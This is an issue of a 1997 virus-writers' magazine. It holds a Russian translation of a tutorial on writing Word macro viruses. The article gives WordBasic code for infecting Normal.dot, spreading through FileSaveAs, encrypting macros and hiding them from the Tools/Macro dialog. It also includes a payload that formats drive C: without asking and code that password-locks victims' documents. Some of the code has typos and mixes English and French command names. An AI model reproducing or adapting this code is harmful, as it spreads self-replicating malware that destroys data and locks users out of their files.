▄▄ █ ▀▀▀ Virus Magazine █ Box 176, Kiev 210, Ukraine IV 1997 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ █ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄█ (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd. Приветствую всех, кто в настоящий момент занимается тем, что читает данную статью. Как известно, в последнее время большое распространение получили макро-вирусы, на которые, по сведениям из различных источников, приходится от 70 до 80 процентов заражения. Гуляя по Internet, я наткнулся на статью, перевод которой и предлагаю вашему вниманию. HellRaiser *************************** * Руководство по * * написанию макро-вирусов * * часть 1 * *************************** * * * Автор - DARK NIGHT * * из VBB * * (C) 1996 * *************************** ОТВЕТСТВЕННОСТЬ ---------------- Автор не несет ответственности за любой ушерб, нанесенный прямым или косвен- ным использоанием опубликованного материала. Авторские права на данную статью имеет Dark Night из VBB. Возможно свободное распространение этой статьи при условии сохранении содержания и копирайта. Однако если я увижу ламеров, которые только содрали код из этой статьи и говорят, что его написали они, то они будут строго наказаны (верите вы в это или нет). ВВЕДЕНИЕ. --------- Многим из вас, конечно, интересно узнать, кто такой я и что такое VBB. VBB - одна из крутейших в мире групп вирмейкеров. Вы не можете сказать, что вы никогда ничего о нас не слышали. Мы пока еще не сильно популярны, но настанет день, и мы ими станем. А пока здесь вы читаете мой вклад в деятельность группы как ее лидера. Так что добро пожаловать, читайте, как писать макро-вирусы (часть 1) и наслаждайтесь !. ИНСТРУМЕНТАРИЙ. --------------- Во-первых, вам будет необходим MS WORD версии 6.0 или выше, кроме того, вам может понадобиться дизассемблер макросов (автор AURODREPH из VBB) для изучения зашифрованных макросов. Также вы должны создать резервную копию шаблона NORMAL.DOT в каталоге WINWORD6\TEMPLATE, так как именно этот документ обычно заражается макро-вирусом. Так что смотрите. Также я рекомендую иметь по крайней мере базовые знания о WORD BASIC чтобы вы понимали, что происходит. Ну, хорошо. Вы все это сделаете. Теперь самое время перейти к основам макро-вирусов. ОБЩИЕ СВЕДЕНИЯ -------------- Большинство макро-вирусов имеют типичную структуру. Они начинаются с авто- выполняемого макроса, заражающего глобальный шаблон Normal.dot. Кроме этого, они включают в себя некоторые макросы, которые заражают файлы при определенных действиях, к примеру, FileSaveAs, FileSave, ToolsMacros. Документы заражаются переносом макросов в документ, и , таким образом, они будут выполняться при открытии этого документа. Код для процедуры автовыполнения может выглядеть примерно так : 'все после ' - комментарии автора Sub MAIN On Error Goto Abort iMacroCount = CountMacros(0, 0) 'проверка на зараженность For i = 1 To iMacroCount If MacroName$(i, 0, 0) = "PayLoad" Then bInstalled = - 1 'поиском макроса PayLoad End If If MacroName$(i, 0, 0) = "FileSaveAs" Then bTooMuchTrouble = - 1 'но если есть макрос FileSaveAs, то заразить тяжело End If Next i If Not bInstalled And Not bTooMuchTrouble Then 'добавим макросы FileSaveAs и копии AutoExec и FileSave 'Payload используется только для проверки на зараженность ' ,1 - кодирует макросы, делая их нечитаемыми в Word iWW6IInstance = Val(GetDocumentVar$("WW6Infector")) sMe$ = FileName$() Macro$ = sMe$ + ":PayLoad" MacroCopy Macro$, "Global:PayLoad", 1 Macro$ = sMe$ + ":FileOpen" MacroCopy Macro$, "Global:FileOpen", 1 Macro$ = sMe$ + ":FileSaveAs" MacroCopy Macro$, "Global:FileSaveAs", 1 Macro$ = sMe$ + ":AutoExec" MacroCopy Macro$, "Global:AutoExec", 1 SetProfileString "WW6I", Str$(iWW6IInstance + 1) End If Abort: End Sub Процедура SaveAs ---------------- Она копирует макро-вирус в активный документ при его сохранении через File/SaveAs. Она использует во многом схожую технологию с процедурой AutoExec. Код для нее приведен ниже. 'вы всегда можете использовать ,1 снова для кодирования макросов Sub MAIN Dim dlg As FileSaveAs GetCurValues dlg Dialog dlg If (Dlg.Format = 0) Or (dlg.Format = 1) Then MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs" MacroCopy "FileSave ", WindowName$() + ":FileSave" MacroCopy "PayLoad", WindowName$() + ":PayLoad" MacroCopy "FileOpen", WindowName$() + ":FileOpen" Dlg.Format = 1 End If FileDaveAs dlg End Sub Коротко, но четко. Всей этой информации, верите вы или нет, достаточно для создания небольших макро-вирусов. СПЕЦИАЛЬНЫЕ ПРОЦЕДУРЫ --------------------- Существует несколько методов, которые можно использовать для того, чтобы скрыть свой вирус или сделать его болееэффективным. Например, вы можете создать макрос, прячущий вирус, когда кто-то смотрит в Tools/Macro. Код может выглядеть, к примеру, так : Sub MAIN On Error Goto ErrorRoutine OldName$ = NomFichier$() If macros.bDebug Then MsgBox "start ToolsMacro" Dim dlg As OutilsMacro If macros.bDebug Then MsgBox "1" GetCurValues dlg If macros.bDebug Then MsgBox "2" On Error Goto Skip Dialog dlg OutilsMacro dlg Skip: On Error Goto ErrorRoutine End If REM enable automacros DisableAutoMacros 0 macros.SavToGlobal(OldName$) macros.objectiv Goto Done ErrorRoutine: On Error Goto Done If macros.bDebug Then MsgBox "error " + Str$(Err) + " occurred" End If Done: End Sub Также вы можете включать внешние процедуры. Напрмер, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса. Или некоторые троянские макросы пытяются форматировать ваш винт при открытии документа. Пример кода для безусловного форматирования : sCmd$ = "echo y|format c: /u" Shell Environment$ ("COMSPEC") + "/c" + sCmd$, 0 Также вы можете захотеть защитить паролем документ, который вы заразили, или при ошибке и если сейчас идет 13 секунда. Смотрите пример : Sub MAIN On Error Goto ByeBye . . 'Infection code . . . \/ ByeBye: If (second(Now()) = 13) Then Dlg.Password = "Dark_Night" 'ставим пароль "DARK_NIGHT". 'также можно установить случайный пароль 'код ищите в следующем выпуске :-D ВАША РАБОТА ----------- Я объяснил вам базовые знания, необходимые для того, чтобы начать писать макро-вирус. Если на опубликованный материал придут отклики, то я выпущу продолжение с более углублунным рассказом о различных структурах и возможностях макро-вирусов. ИНТЕРЕСУЕТЕСЬ? -------------- Я не знаю, будет ли кто-то заинтересован в продолжении, так что если вы заинтересовались этим, то пишите мне, и я буду рад продолжить свой рассказ о макро-вирусах. Мой адрес : Dark_Night@ilf.net Dark Night